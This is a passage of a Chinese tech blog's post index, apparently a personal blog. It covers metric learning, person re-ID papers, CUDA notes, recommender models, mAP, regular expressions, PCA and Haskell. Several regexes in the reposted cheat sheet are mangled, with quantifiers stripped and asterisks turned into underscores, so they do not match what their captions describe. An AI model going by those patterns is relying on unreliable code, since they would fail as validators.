的概念， 如上图所示，triplet是一个三元组，这个三元组是这样构成的：从训练数据集中随机选一个样本，该样本称为Anchor，然后再随机选取一个和Anchor (记为x_a)属于同一类的样本和不同类的样本,这两个样本对应的称为Positive (记为x_p)和Negative (记为x_n)，由此构成一个（Anchor，Positive，Negative）三元组。 我们发现，triplet loss 其实就是在ranking similarity learning 问题中，学习similarity function时的loss Metric learning # 相似性学习与距离度量学习密切相关。度量学习的目标是在对象上学习一个距离函数。度量或距离函数必须遵循四个公理:非负性、不可分辨的恒等式、对称性和次可加性/三角形不等式。在实际应用中，度量学习算法忽略了不可分辨物体的身份条件，学习了一个伪度量。","date":"2018-02-18","externalUrl":null,"permalink":"/2018/02/similarity-learning-metric-learning/","section":"Posts","summary":"Similarity_learning # 相似性学习（Similarity learning ）有监督机器学习，它与回归和分类密切相关，但目标是从实例中学习一个相似函数，以衡量两个对象的相似程度或相关程度。","tags":["Metric learning","Similarity learning","triplet loss"],"title":"Similarity learning 和Metric learning","type":"post"},{"categories":["deep-learning","计算机视觉"],"content":"Key: (1). Pose-driven, body part alignment, combine whole feature and body part feature, focus on alignment of part model, (2). Combine image label and human attributes classes, do classification with attributes and identity learning (3). Based on triplet loss, improve metric learning for an end to end learning (4). Post-process, re-ranking AlignedReID: Surpassing Human-Level Performance in Person Re-Identification Hydraplus-net: Attentive deep features for pedestrian analysis. Darkrank: Accelerating deep metric learning via cross sample similarities transfer. Glad: Global-local-alignment descriptor for pedestrian retrieval. PDC: Pose-driven Deep Convolutional Model for Person Re-identification (ICCV2017) Spindle: Spindle Net: Person Re-identification with Human Body Region Guided Feature Decomposition and Fusion (CVPR 2017) MSML: Margin Sample Mining Loss: A Deep Learning Based Method for Person Re-identification DLPA: Deeply-Learned Part-Aligned Representation for Person Re-Identification (ICCV 2017) DTL: Deep Transfer Learning for Person Re-identification Unlabeled: Unlabeled Samples Generated by GAN Improve the Person Re-identification Baseline in vitro (ICCV 2017) In: In Defense of the Triplet Loss for Person Re-identification A: A Discriminatively Learned CNN Embedding for Person Re-identification DGD: Learning Deep Feature Representations with Domain Guided Dropout for Person Re-identification Quadruplet: Beyond triplet loss: a deep quadruplet network for person re-identification AlignedReID: Surpassing Human-Level Performance in Person Re-Identification Glad: Global-local-alignment descriptor for pedestrian retrieval. Darkrank: Accelerating deep metric learning via cross sample similarities transfer. Deep mutual learning In Defense of the Triplet Loss fr Person ","date":"2018-02-17","externalUrl":null,"permalink":"/2018/02/persion-reid-paper-list/","section":"Posts","summary":"Key: (1). Pose-driven, body part alignment, combine whole feature and body part feature, focus on alignment of part model, (2). Combine image label and human attributes classes, do classification with attributes and identity learning","tags":["reid"],"title":"persion reid 论文列表","type":"post"},{"categories":["工程","优化"],"content":"CUDA 编程涉及到在不同的平台上同时运行代码:包含CPU的host 和包含GPU的device. 所以了解host和device的对性能优化是非常重要的。 2.1. Differences between Host and Device # Threading resources # host 上能同时运行的线程数目比较少（比如24个） device上能同时运行的线程数目比较多（数量级通常为1E3，1E4等） Threads # 操作系统必须交换CPU执行通道上和下的线程以提供多线程功能。因此，上下文切换(当交换两个线程时)既慢又昂贵。 相比之下，GPU上的线程非常轻量级。在典型的系统中，成千上万的线程排队等待工作(每个线程有32个线程)。如果GPU必须等待 one warp of threads，它只需开始在另一个线程上执行工作。 简而言之，CPU内核被设计为每次最小化一个或两个线程的等待时间，而GPU被设计为处理大量并发的轻量级线程以最大化吞吐量。 RAM # host和device 各自具有各自不同的附接物理存储器。host和device内存由PCI Express ( PCIe )总线分隔，因此host内存中的项目必须偶尔通过总线传送到device内存，反之亦然 2.2. What Runs on a CUDA-Enabled Device? # 下面谈谈应该把应用的哪些部分放在device 上运行 * 大数据集上的算术运算 * 为了获得最佳性能，设备上运行的相邻线程的内存访问应该具有一定的一致性。**某些内存访问模式使硬件能够将多个数据项的读或写组合并到一个操作中**。当在CUDA上的计算中使用时，无法布局以实现合并的数据，或者没有足够的局部性来有效地使用L1或纹理缓存的数据，将倾向于看到较小的加速比。 * host和device之间的数据交换尽可能少 * **换到device上执行的数据一定会被做足够多的运算**，不然数据从Host传送到device的代价 可能与该运算在device上并行计算的优势向抵消，甚至得不偿失。 * **数据应尽可能长时间保存在设备上。**因为传输应该最小化，所以在同一数据上运行多个内核的程序应该倾向于在内核调用之间将数据保留在设备上，而不是将中间结果传输到主机，然后再将它们发送回设备进行后续计算。就是说，如果有一段连续的操作要处理某些数据，就算其中的部分操作在host上运行要比在device上快（比如不是算数运算而是逻辑处理），那么考虑到数据传输的巨大代价，将所有数据都放在device上处理可能会更好。这种处理原则即使相对较慢的内核也可能是有利的，如果它避免了一个或多个PCIe传输。","date":"2018-02-13","externalUrl":null,"permalink":"/2018/02/cuda-c-best-practices-guide-heterogeneous-computing/","section":"Posts","summary":"CUDA 编程涉及到在不同的平台上同时运行代码:包含CPU的host 和包含GPU的device.","tags":["cuda","cpp"],"title":"CUDA C Best Practices Guide 阅读笔记（二） Heterogeneous Computing","type":"post"},{"categories":["优化"],"content":"APOD指的是Assess, Parallelize, Optimize, Deploy 如图所示，APOD过程是一个循环的过程，每次只进行一部分，从A到P到O到D,然后再进行下一轮的APOD Assess # 对于一个项目，第一步要做的是接触(Assess)项目，得到项目代码中每部分的执行时间。有了这部分内容，开发者就可以找到并行优化的瓶颈所在，并开始尝试用GPU加速。 根据Amdahl’s and Gustafson’s laws，开发者可以确定并行优化的性能上界。 Parallelize # 找到瓶颈所在并确定了优化的目标和期望，开发者就可以优化代码了。调用一些如cuBLAS, cuFFT, or Thrust 的 GPU-optimized library 可能会很有效。 另一方面，有些应用需要开发者重构代码，以此让可以被并行优化得部分被暴露出来。 Optimize # 确定了需要被并行优化的部分之后，就要考虑具体得实现方式了。 具体得实现方式通常不过只有一种，所以充分理解应用的需求是很有必要的。 要记得，APOD是一个反复迭代的过程（找到可以优化的点，实现并测试优化，验证优化效果，然后再重复） 因为对于开发者来说，没有必要最初就找到解决所有性能瓶颈的策略。 优化可以在不同的level上进行，配合性能分析工具是很有帮助的。 Deploy # 大的原则是当优化完一处之后，立刻将这一部分部署到生产环境，而不是再去寻找其他可以优化的地方。 这样做有很多重要的原因，比如这会使得用户尽早从这个优化中收益（尽管提速只是部分的，但是仍然有价值） 此外，每次有改动就重新部署，也使得变化是平稳而不是激进的，这有助于减少风险。 # Recommendations and Best Practice # 优化根据对性能影响程度的不同有不同的优先级。 在先要处理低优先级的优化之前，一定要确保其他所有的高优先级优化都做完了。 这种方法将倾向于为所投入的时间提供最佳结果，并且将避免过早优化的陷阱。 需要说明的一点是，教程中的代码为了方便简洁没有关于任何 check error的部分。 在实际上这是不可取的（这不同于编写C++代码!）","date":"2018-02-12","externalUrl":null,"permalink":"/2018/02/cuda-c-best-practices-parallel-computing-methodology/","section":"Posts","summary":"APOD指的是Assess, Parallelize, Optimize, Deploy 如图所示，APOD过程是一个循环的过程，每次只进行一部分，从A到P到O到D,然后再进行下一轮的APOD","tags":["cuda","并行计算"],"title":"CUDA C Best Practices Guide 阅读笔记（1） 并行计算方法论(APOD)","type":"post"},{"categories":["优化","工程"],"content":"可以了解成并行版的STL(? 过了一遍nvidia的官方网文档 发现如果熟悉STL的话,thrust没什么太多好说的,看起来很简单… 不过还是开一篇记录一下,一段时间内估计要和cuda c++ 打交道,就当记录使用过程中遇到的问题吧.","date":"2018-02-10","externalUrl":null,"permalink":"/2018/02/cuda-thrust-notes/","section":"Posts","summary":"可以了解成并行版的STL(? 过了一遍nvidia的官方网文档 发现如果熟悉STL的话,thrust没什么太多好说的,看起来很简单…","tags":["cuda","stl","thrust","cpp"],"title":"cuda c++  基础算法库 thrust 学习笔记","type":"post"},{"categories":["deep-learning"],"content":"起因是被assgin了一个新的任务…..要死. 参考资料: 推荐系统学习笔记之三 LFM (Latent Factor Model) 隐因子模型 + SVD (singular value decomposition) 奇异值分解 基于矩阵分解的隐因子模型 实时推荐系统的三种方式 先说下我的理解… 隐因子模型(LFM)是一种推荐算法,“隐\"可以理解成用户喜欢某个item的间接原因. 该算法的核心思想是转化成一个矩阵分解问题.. 然后用传统机器学习算法去优化分解得到的矩阵… 主要的优势如下： 比较容易编程实现，随机梯度下降方法依次迭代即可训练出模型。 预测的精度比较高，预测准确率要高于基于领域的协同过滤以及基于内容CBR等方法。 比较低的时间和空间复杂度，高维矩阵映射为两个低维矩阵节省了存储空间，训练过程比较费时，但是可以离线完成；评分预测一般在线计算，直接使用离线训练得到的参数，可以实时推荐。 非常好的扩展性，如由SVD拓展而来的SVD++和 TIME SVD++。 矩阵分解的不足主要有： * 训练模型较为费时。 * 推荐结果不具有很好的可解释性，无法用现实概念给分解出来的用户和物品矩阵的每个维度命名，只能理解为潜在语义空间。 我们用user1,2,3表示用户，item 1,2,3表示物品，Rij表示用户i对于物品j的评分，也就是喜好度。那么我们需要得到一个关于用户-物品的二维矩阵，如下面的R。 常见的系统中，R是一个非常稀疏的矩阵，因为我们不可能得到所有用户对于所有物品的评分。于是利用稀疏的R，填充得到一个满矩阵R’就是我们的目的。 下面我们就来看看LFM是如何解决上面的问题的？对于一个给定的用户行为数据集（数据集包含的是所有的user, 所有的item，以及每个user有过行为的item列表），使用LFM对其建模后，我们可以得到如下图所示的模型：（假设数据集中有3个user, 4个item, LFM建模的分类数为4） R矩阵是user-item矩阵，矩阵值Rij表示的是user i 对item j的兴趣度，这正是我们要求的值。对于一个user来说，当计算出他对所有item的兴趣度后，就可以进行排序并作出推荐。LFM算法从数据集中抽取出若干主题，作为user和item之间连接的桥梁，将R矩阵表示为P矩阵和Q矩阵相乘。其中P矩阵是user-class矩阵，矩阵值Pij表示的是user i对class j的兴趣度；Q矩阵式class-item矩阵，矩阵值Qij表示的是item j在class i中的权重，权重越高越能作为该类的代表。所以LFM根据如下公式来计算用户U对物品I的兴趣度 我们发现使用LFM后， 1. 我们不需要关心分类的角度，结果都是基于用户行为统计自动聚类的，全凭数据自己说了算。 2. 不需要关心分类粒度的问题，通过设置LFM的最终分类数就可控制粒度，分类数越大，粒度约细。 3. 对于一个item，并不是明确的划分到某一类，而是计算其属于每一类的概率，是一种标准的软分类。 4. 对于一个user，我们可以得到他对于每一类的兴趣度，而不是只关心可见列表中的那几个类。 5. 对于每一个class，我们可以得到类中每个item的权重，越能代表这个类的item，权重越高。 于是隐因子模型转化为矩阵分解问题 然后就是通过传统机器学习算法训练 最优化问题…怎么训练就不说了… 看到很多地方问的P,Q矩阵的初始化的问题… 我看到的比较一般的做法是,全都随机,或者如果有pre train的数据,则使用这些数据…","date":"2018-02-09","externalUrl":null,"permalink":"/2018/02/Latent-Factor-Model-notes/","section":"Posts","summary":"起因是被assgin了一个新的任务…..要死. 参考资料:","tags":["Latent Factor Model","推荐系统"],"title":"推荐系统之 LFM (Latent Factor Model) 隐因子模型  学习笔记","type":"post"},{"categories":["工程","优化"],"content":"由于发现cuda c++ 的 debug方式和c++ 差别很大,因此打算再开一篇,专门记录一些和error checking 以及debug有关的内容. Error checks in CUDA code can help catch CUDA errors at their source. There are 2 sources of errors in CUDA source code: 1. Errors from CUDA **API** calls. For example, a call to `cudaMalloc()` might fail. 2. Errors from CUDA **kernel** calls. For example, there might be invalid memory access inside a kernel. All CUDA API calls return a cudaError value, so these calls are easy to check: 1 2 3 if ( cudaSuccess != cudaMalloc( \u0026fooPtr, fooSize ) ) 4 printf( \"Error!\\n\" ); 5 CUDA kernel invocations do not return any value. Error from a CUDA kernel call can be checked after its execution by calling cudaGetLastError(): 1fooKernel\u003c\u003c\u003c x, y \u003e\u003e\u003e(); // Kernel call 2if ( cudaSuccess != cudaGetLastError() ) 3 printf( \"Error!\\n\" ); 以及下面是一个check error的宏… 1#define CHECK_ERROR( err ) \\ 2 if( err != cudaSuccess ) { \\ 3 std::cerr \u003c\u003c \"ERROR: \" \u003c\u003c cudaGetErrorString( err ) \u003c\u003c std::endl; \\ 4 exit( -1 ); \\ 5 } 6 7#define CHECK_LAST_ERROR \\ 8 { cudaError_t err = cudaGetLastError(); \\ 9 if( err != cudaSuccess ) { \\ 10 std::cerr \u003c\u003c cudaGetErrorString( err ) \u003c\u003c std::endl; \\ 11 exit( -1 ); \\ 12 } \\ 13 }","date":"2018-02-09","externalUrl":null,"permalink":"/2018/02/cuda-error-checking-notes/","section":"Posts","summary":"由于发现cuda c++ 的 debug方式和c++ 差别很大,因此打算再开一篇,专门记录一些和error checking 以及debug有关的内容.","tags":["cuda","cpp"],"title":"cuda error checking 学习笔记","type":"post"},{"categories":["deep-learning","计算机视觉"],"content":"参考资料: 多标签图像分类任务的评价方法-mAP wiki_Sensitivity and specificity False Positives和False Negative等含义 mean average precision（MAP）在计算机视觉中是如何计算和应用的？ 首先需要了解True(False) Positives (Negatives)的含义 True Positive （真正, TP）被模型预测为正的正样本；可以称作判断为真的正确率 True Negative（真负 , TN）被模型预测为负的负样本 ；可以称作判断为假的正确率 False Positive （假正, FP）被模型预测为正的负样本；可以称作误报率 False Negative（假负 , FN）被模型预测为负的正样本；可以称作漏报率 在图像中，尤其是分类问题中应用AP，是一种评价ranking方式好不好的指标： 举例来说，我有一个两类分类问题，分别5个样本，如果这个分类器性能达到完美的话，ranking结果应该是+1，+1，+1，+1，+1，-1，-1，-1，-1，-1. 但是分类器预测的label，和实际的score肯定不会这么完美。按照从大到小来打分，我们可以计算两个指标：precision和recall。比如分类器认为打分由高到低选择了前四个，实际上这里面只有两个是正样本。此时的recall就是2（你能包住的正样本数）/5（总共的正样本数）=0.4，precision是2（你选对了的）/4（总共选的）=0.5. 图像分类中，这个打分score可以由SVM得到：s=w^Tx+b就是每一个样本的分数。 从上面的例子可以看出，其实precision，recall都是选多少个样本k的函数，很容易想到，如果我总共有1000个样本，那么我就可以像这样计算1000对P-R，并且把他们画出来，这就是PR曲线： 这里有一个趋势，recall越高，precision越低。这是很合理的，因为假如说我把1000个全拿进来，那肯定正样本都包住了，recall=1，但是此时precision就很小了，因为我全部认为他们是正样本。recall=1时的precision的数值，等于正样本所占的比例。 所以AP，average precision，就是这个曲线下的面积，这里average，等于是对recall取平均。而mean average precision的mean，是对所有类别取平均（每一个类当做一次二分类任务）。现在的图像分类论文基本都是用mAP作为标准。 使用AP会比accuracy要合理。对于accuracy，如果有9个负样本和一个正样本，那么即使分类器什么都不做全部判定为负样本accuracy也有90%。但是对于AP，recall=1那个点precision会掉到0.1.曲线下面积就会反映出来。 precision 和 recall 的计算： \u0026lt;img src=“https://pic2.zhimg.com/50/v2-761706f5b1fe36873ba1bb20c7d1d447_hd.jpg\" data-rawwidth=“301” data-rawheight=“541” class=“content_image” width=“301”\u0026gt; 图中上部分，左边一整个矩形中（false negative和true positive）的数表示ground truth之中为1的（即为正确的）数据，右边一整个矩形中的数表示ground truth之中为0的数据。 精度precision的计算是用 检测正确的数据个数/总的检测个数。 召回率recall的计算是用 检测正确的数据个数/ground truth之中所有正数据个数。 AP：average precision 假设我们有数据： \u0026lt;img src=“https://pic1.zhimg.com/50/v2-7189c118955fced185b5f1ebbd6996af_hd.jpg\" data-rawwidth=“242” data-rawheight=“277” class=“content_image” width=“242”\u0026gt; 一共20个图像，20行，第一列是图像index， 第二列","date":"2018-02-09","externalUrl":null,"permalink":"/2018/02/mean-average-precision-for-multi-label-classification-task/","section":"Posts","summary":"参考资料: 多标签图像分类任务的评价方法-mAP wiki_Sensitivity and specificity False Positives和False Negative等含义","tags":["mean average precision"],"title":"多标签图像分类任务的评价方法-mean average precision(mAP) 以及top x的评价方法","type":"post"},{"categories":["deep-learning","计算机视觉"],"content":"先粗略读了2遍orz.可能不够严谨，先写一些high-level的理解。 对于序列或者图片数据，如果想获得一个long-range的依赖，通常的做法是循环神经网络（对于序列）或者深层的卷积神经网络（对于图片数据） 但是循环操作（当前的处理依赖于前面有限的若干个）和卷积操作都是一种局部操作。 但是这种局部操作是有一些局限的，比如不好优化，计算代价比较大等。 这篇paper提出了non-local 这个操作。 non-local操作是计算机视觉中广泛使用的一种降噪算法，即non-local mean的一般化。 non-local operation被认为是一个可以被广泛使用的操作，几乎可以和当前神经网络的其他部件结合。 含有non-local opetation的一个基本操作单元我们称之为一个 non-local block 含有non-local block 的神经网络我们可以称之为Non-local Neural Networks non-local operation是非常有效的，及时神经网络只有很少的几层（比如5） non-local operation和《Attention is all you need》 中提出的self-attention是相似的 全连接操作可以看做non-local operation的一个特例。 Non-local Neural Networks 原始论文","date":"2018-02-05","externalUrl":null,"permalink":"/2018/02/non-local-neural-networks-notes/","section":"Posts","summary":"先粗略读了2遍orz.可能不够严谨，先写一些high-level的理解。","tags":["Non-local Neural Networks"],"title":"Non-local Neural Networks 阅读笔记","type":"post"},{"categories":["工程","优化"],"content":"uodate:有毒吧。kernel中出问题原来是不会报错的。。。。 请教了组里的hust学长orz..、 学到了cuda-memcheck命令和cudaGetLastError来查看问题。。可以参考What is the canonical way to check for errors using the CUDA runtime API? 先放一波资料。 * \u003cdel\u003e[An Even Easier Introduction to CUDA](https://devblogs.nvidia.com/even-easier-introduction-cuda/)\u003c/del\u003e * \u003cdel\u003e[CUDA C/C++ Basics](https://drive.google.com/open?id=1kHYyM4yiJoyjkWjp7FJp0vae_TcvskjK)\u003c/del\u003e * \u003cdel\u003e[nvidia-thrust 官方文档](http://docs.nvidia.com/cuda/thrust/index.html)\u003c/del\u003e * [how-access-global-memory-efficiently-cuda-c-kernels](https://devblogs.nvidia.com/how-access-global-memory-efficiently-cuda-c-kernels/) * [efficient-matrix-transpose-cuda-cc](https://devblogs.nvidia.com/efficient-matrix-transpose-cuda-cc/) * [很强大的warp内shuffle](https://devblogs.nvidia.com/faster-parallel-reductions-kepler/) * [cuda-GDB官方文档](http://docs.nvidia.com/cuda/cuda-gdb/index.html) * [cuda-c-best-practices-guide](http://docs.nvidia.com/cuda/cuda-c-best-practices-guide/) cuda 提出的目的是能够让程序员透明地使用GPU来高效地进行并行运算。 kernel和c语言中的函数相似，函数名字前通常用global来标识。 下面考虑一个2个大小的1M的数组相加的例子。 总的思路是通过并行，来观察到计算速度的加快。 如果不考虑并行，2个数组相加的代码，如下： 1#include \u003ciostream\u003e 2#include \u003cmath.h\u003e 3 4// function to add the elements of two arrays 5void add(int n, float *x, float *y) 6{ 7 for (int i = 0; i \u003c n; i++) 8 y[i] = x[i] + y[i]; 9} 10 11int main(void) 12{ 13 int N = 1\u003c\u003c20; // 1M elements 14 15 float *x = new float[N]; 16 float *y = new float[N]; 17 18 // initialize x and y arrays on the host 19 for (int i = 0; i \u003c N; i++) { 20 x[i] = 1.0f; 21 y[i] = 2.0f; 22 } 如果用cuda的方式来搞，代码如下： 1#include \u003ciostream\u003e 2#include \u003cmath.h\u003e 3// Kernel function to add the elements of two arrays 4__global__ 5void add(int n, float *x, float *y) 6{ 7 for (int i = 0; i \u003c n; i++) 8 y[i] = x[i] + y[i]; 9} 10 11int main(void) 12{ 13 int N = 1\u003c\u003c20; 14 float *x, *y; 15 16 ","date":"2018-02-01","externalUrl":null,"permalink":"/2018/02/cuda-notes/","section":"Posts","summary":"uodate:有毒吧。kernel中出问题原来是不会报错的。。。。","tags":["cuda"],"title":"cuda 学习笔记","type":"post"},{"categories":["deep-learning","计算机视觉"],"content":"终于忙完学校的事情可以干正事了orz 这里会记录一些第一遍看paper的过程中遇到的一些影响理解的概念，不过大多不会深究，只算做粗浅的理解。 1、高斯金字塔： 高斯金字塔是最基本的图像塔。首先将原图像作为最底层图像G0（高斯金字塔的第0层），利用高斯核（5*5）对其进行卷积，然后对卷积后的图像进行下采样（去除偶数行和列）得到上一层图像G1，将此图像作为输入，重复卷积和下采样操作得到更上一层图像，反复迭代多次，形成一个金字塔形的图像数据结构，即高斯金字塔。 2、拉普拉斯金字塔 在高斯金字塔的运算过程中，图像经过卷积和下采样操作会丢失部分高频细节信息。为描述这些高频信息，人们定义了拉普拉斯金字塔(Laplacian Pyramid， LP)。用高斯金字塔的每一层图像减去其高一层图像上采样并高斯卷积之后的预测图像，得到一系列的差值图像即为 LP 分解图像。 将Gl内插方法得到放大图像_Gl，使_Gl的尺寸与*Gl-1的尺寸相同，即放大算子Expand。 参考资料： Gaussian and Laplacian Pyramids 拉普拉斯金字塔融合","date":"2018-01-25","externalUrl":null,"permalink":"/2018/01/non-local-means-algorithm-notes/","section":"Posts","summary":"终于忙完学校的事情可以干正事了orz 这里会记录一些第一遍看paper的过程中遇到的一些影响理解的概念，不过大多不会深究，只算做粗浅的理解。","tags":["image denoising","non-local means"],"title":"non-local means algorithm 学习笔记","type":"post"},{"categories":[],"content":"记得之前被人在群里刷“宽神是我们的红太阳”还不理解… 为什么我这种菜鸡要被如此对待 现在想想，大概是觉得，“111qqz那么菜的人都还一直坚持打竞赛，我为什么放弃呢”2333 hust有2年没icpc的金了，今年N队终于拿了一个很好名次的金，还是很开心。 其实一直都有一种奇怪的自责，因为自己作为壮年选手的时候，恰好是华科实力最弱的几年，总觉得是没有担当起应有的责任。 为什么是奇怪的自责…因为我的实力并不能决定华科的upper bound 。。。 现在有了训练场地，有了各方面的支持，17级还有个很厉害的学弟，希望明年或者后年能进final吧，期待 其实我科是传统弱校，就算进过final，但是感觉更多取决于选手的意志，而和学校关系不大。 希望我科能成为一个三线强校吧orz，不过还是有点难，因为华科好玩的团队实在太多了… 以及突然开始了毕设… 据说我司或者是其他这样的公司的配置都是几个Phd+一票能打的实习生发论文… 想想自己，好像并不很能打啊？不过还有点时间，虽然也不多了。 希望自己能成为一个“能打的实习生”吧orz","date":"2017-12-14","externalUrl":null,"permalink":"/2017/12/20171214/","section":"Posts","summary":"记得之前被人在群里刷“宽神是我们的红太阳”还不理解…","tags":["随笔杂谈"],"title":"20171214","type":"post"},{"categories":["其他"],"content":"update: 遇到的汉字： 丹：63838 李：63969 昨天写的正则发现死活识别不了 “年\"字… 放到unicode编码转化公式 查了下发现竟然是不同的字orz.. 其实猜想到也许是日文的\"年”…结果查询了下发现是韩文的锅? 具体参考为何Unicode中有字形完全相同的CJK字符？ 以及兼容汉字的参考表:UF900","date":"2017-12-05","externalUrl":null,"permalink":"/2017/12/unicode-char-not-unique/","section":"Posts","summary":"update: 遇到的汉字： 丹：63838 李：63969 昨天写的正则发现死活识别不了 “年\"字…","tags":["NLP","unicode"],"title":"unicode 汉字表示不唯一的问题 (cjk字符集)","type":"post"},{"categories":["其他"],"content":"先放一个同事安利给我的网站:regex101 查询匹配的中文字符unicode编码 正则表达式用于字符串处理、表单验证、日志数据分析等场合，实用高效。现将自己走网上搜索并总结的常用方法收集了一下： 匹配中文字符的正则表达式： [\\u4e00-\\u9fa5] 注：匹配中文还真是个头疼的事，有了这个表达式就好办了 匹配双字节字符(包括汉字在内)：[^\\x00-\\xff] 注：可以用来计算字符串的长度（一个双字节字符长度计2，ASCII字符计1） 匹配空白行的正则表达式：\\n\\s*\\r 注：可以用来删除空白行 匹配HTML标记的正则表达式：\u003c(\\S_?)[^\u003e]\u003e.?\u003c/\u003e|\u003c._? /\u003e 注：网上流传的版本太糟糕，上面这个也仅仅能匹配部分，对于复杂的嵌套标记依旧无能为力 匹配首尾空白字符的正则表达式：^\\s_|\\s_$ 注：可以用来删除行首行尾的空白字符(包括空格、制表符、换页符等等)，非常有用的表达式 匹配Email地址的正则表达式：\\w+([-+.]\\w+)@\\w+([-.]\\w+).\\w+([-.]\\w+)* 注：表单验证时很实用 匹配网址URL的正则表达式：[a-zA-z]+://[^\\s]* 注：网上流传的版本功能很有限，上面这个基本可以满足需求 匹配帐号是否合法(字母开头，允许5-16字节，允许字母数字下划线)：^[a-zA-Z][a-zA-Z0-9_]$ 注：表单验证时很实用 匹配国内电话号码：\\d-\\d|\\d-\\d 注：匹配形式如 0511-4405222 或 021-87888822 匹配腾讯QQ号：[1-9][0-9] 注：腾讯QQ号从10000开始 匹配中国邮政编码：[1-9]\\d(?!\\d) 注：中国邮政编码为6位数字 匹配身份证：\\d|\\d 注：中国的身份证为15位或18位 匹配ip地址：\\d+.\\d+.\\d+.\\d+ 注：提取ip地址时有用 匹配特定数字： ^[1-9]\\d_$　//匹配正整数 ^-[1-9]\\d_$ //匹配负整数 ^-?[1-9]\\d_$　//匹配整数 ^[1-9]\\d_|0$　//匹配非负整数（正整数 + 0） ^-[1-9]\\d_|0$　//匹配非正整数（负整数 + 0） ^[1-9]\\d_.\\d_|0.\\d_[1-9]\\d_$　//匹配正浮点数 ^-([1-9]\\d_.\\d_|0.\\d_[1-9]\\d_)$　//匹配负浮点数 ^-?([1-9]\\d_.\\d_|0.\\d_[1-9]\\d_|0?.0+|0)$　//匹配浮点数 ^[1-9]\\d_.\\d_|0.\\d_[1-9]\\d_|0?.0+|0$　//匹配非负浮点数（正浮点数 + 0） ^(-([1-9]\\d_.\\d_|0.\\d_[1-9]\\d*))|0?.0+|0$　//匹配非正浮点数（负浮点数 + 0） 注：处理大量数据时有用，具体应用时注意修正 匹配特定字符串： ^[A-Za-z]+$　//匹配由26个英文字母组成的字符串 ^[A-Z]+$　//匹配由26个英文字母的大写组成的字符串 ^[a-z]+$　//匹配由26个英文字母的小写组成的字符串 ^[A-Za-z0-9]+$　//匹配由数字和26个英文字母组成的字符串 ^\\w+$　//匹配由数字、26个英文字母或者下划线组成的字符串 注：最基本也是最常用的一些表达式 下面记录我用到的匹配: 匹配工作年数：　[1-9][0-9]*[\\u5e74]","date":"2017-12-04","externalUrl":null,"permalink":"/2017/12/Common-regular-expression/","section":"Posts","summary":"先放一个同事安利给我的网站:regex101 查询匹配的中文字符unicode编码 正则表达式用于字符串处理、表单验证、日志数据分析等场合，实用高效。现将自己走网上搜索并总结的常用方法收集了一下：","tags":["python","正则表达式"],"title":"正则匹配中文及常用正则表达式 (转载)","type":"post"},{"categories":["deep-learning"],"content":"先记录一下PCA实战需要用到的安装包(arch下,python2环境) # python2-scikit-learn # python2-numpy python2-pandas python2-matplotlib python2-seaborn pandas.DataFrame pandas 数据结构介绍 几个和科学计算数据分析有关的重要的python库:Numpy、Matplotlib ,pandas (之前数字图像处理课程都接触过了orz) 其中matplotlib 主要用于图像绘制 sklearn 是用于机器学习的python 模块 Seaborn也是用于图像绘制 str.fomat() 是 python2语法 format中的变量会按照str中{} 出现的顺序替换 1import matplotlib.pyplot as plt 2import numpy as np 3import pandas as pd 4from sklearn.datasets import fetch_mldata 5from sklearn.decomposition import PCA 6import seaborn as sns 7mnist = fetch_mldata(\"MNIST original\") 8 9X = mnist.data / 255.0 10y = mnist.target 11 12#print X.shape, y.shape 13 14 15feat_cols = [ 'pixel'+str(i) for i in range(X.shape[1]) ] 16df = pd.DataFrame(X,columns=feat_cols) # transform into some pandas DS named DataFrame 17df['label'] = y # add a column named 'label',valued by variable y 18df['label'] = df['label'].apply(lambda i: str(i)) # df.apply (some funciton) 19X, y = None, None 20#print 'Size of the dataframe: {}' .format(df.shape) # str.format() , '{}' is replaced by some value 21 22# Plot the graph 23#print df 24 25#rndperm = np.random.permutation(df.shape[0]) 26#plt.gray() 27#fig = plt.figure( figsize=(16,7) ) 28#for i in range(0,30): 29# ax = fig.add_subplot(3,10,i+1, title='Digit: ' + str(df.loc[rndperm[i],'label']) ) 30# ax.matshow(df.loc[rndperm[i],feat_cols].values.reshape((28,28)).astype(float)) 31#plt.show() 32 33#print df 34 35n_components_pca = 3 36pca = PCA(n_components=n_components_pca) 37pca_result = pca.fit_transform(df[feat_cols].values) 38 39print 'kkkkk?' 40df['pca-one'] = pca_result[:,0] 41df['pca-two'] = pca_result[:,1] 42df['pca-three'] = pca_result[:,2] 43 44print 'Explained variation per principal component: {}'.format(pca.explained_variance_ratio_) 45 46 47pca_var_explained_df = ","date":"2017-11-26","externalUrl":null,"permalink":"/2017/11/pca-kmeans/","section":"Posts","summary":"先记录一下PCA实战需要用到的安装包(arch下,python2环境) # python2-scikit-learn # python2-numpy","tags":["k-means","PCA"],"title":"PCA + kmeans","type":"post"},{"categories":["其他"],"content":"出于对函数式编程语言这一技能点的缺失…以及退役之后闲得蛋疼 打算浅尝辄止地学一下haskell 这篇笔记不会写成文档那样的详尽..毕竟函数式编程语言也是编程语言…有很多和其他编程语言(命令式？)相似的地方… 所以只会写一些简单的语法+让我感到惊讶的地方orz 总体的感觉…在里面看到了些python和pascal的影子orz…比如子界…已经好久没见到了 变量 # * 命令式语言中，变量用来跟踪状态（keeping track of state）。 * Haskell中，变量保存了一个值，**然后再也不可以修改它了。** * 变量不仅可以保存像3.14这样的数值，还可以保存任何Haskell表达式 函数 # 1 * 函数中的函数 2 3 4Prelude\u003e let areaRect l w = l * w 5Prelude\u003e let areaSquare s = areaRect s s 6Prelude\u003e areaSquare 5 725 列表 # 1 * 创建列表/添加元素 2 3 4 5 6Prelude\u003e let numbers = [1,2,3,4] 7Prelude\u003e numbers 8[1,2,3,4] 9Prelude\u003e 0:numbers 10[0,1,2,3,4] 11Prelude\u003e 1:0:numbers 12[1,0,1,2,3,4] 13Prelude\u003e 2:1:0:numbers 14[2,1,0,1,2,3,4] 15Prelude\u003e 5:4:3:2:1:0:numbers 16[5,4,3,2,1,0,1,2,3,4] 17 18 19 20 21 22 23 * 事实上所有的列表都是在一个空的列表（`[]`）的基础上通过附加数据创建的。逗号与方括号的记法实际上是一种**语法糖**般的令人愉快的形式。 换句话说，`[1,2,3,4,5]`精确地等同于`1:2:3:4:5:[]` 24 * 列表中的元素必须有相同的类型 25 * 列表的嵌套(二维以及高维度) 26 * 列表大概可以类比数组或者python 中的list 27 * 将两个List合并是很常见的操作，这可以通过++运算符实现。运算时会遍历左边的list,**因此用:运算符往一个List前端插入元素会是更好的选择。** 28 * 若是要按照索引取得List中的元素，可以使用!!运算符，索引的下标是从0开始的。 29 30 31ghci\u003e \"Steve Buscemi\" !! 6 32'B' 33ghci\u003e 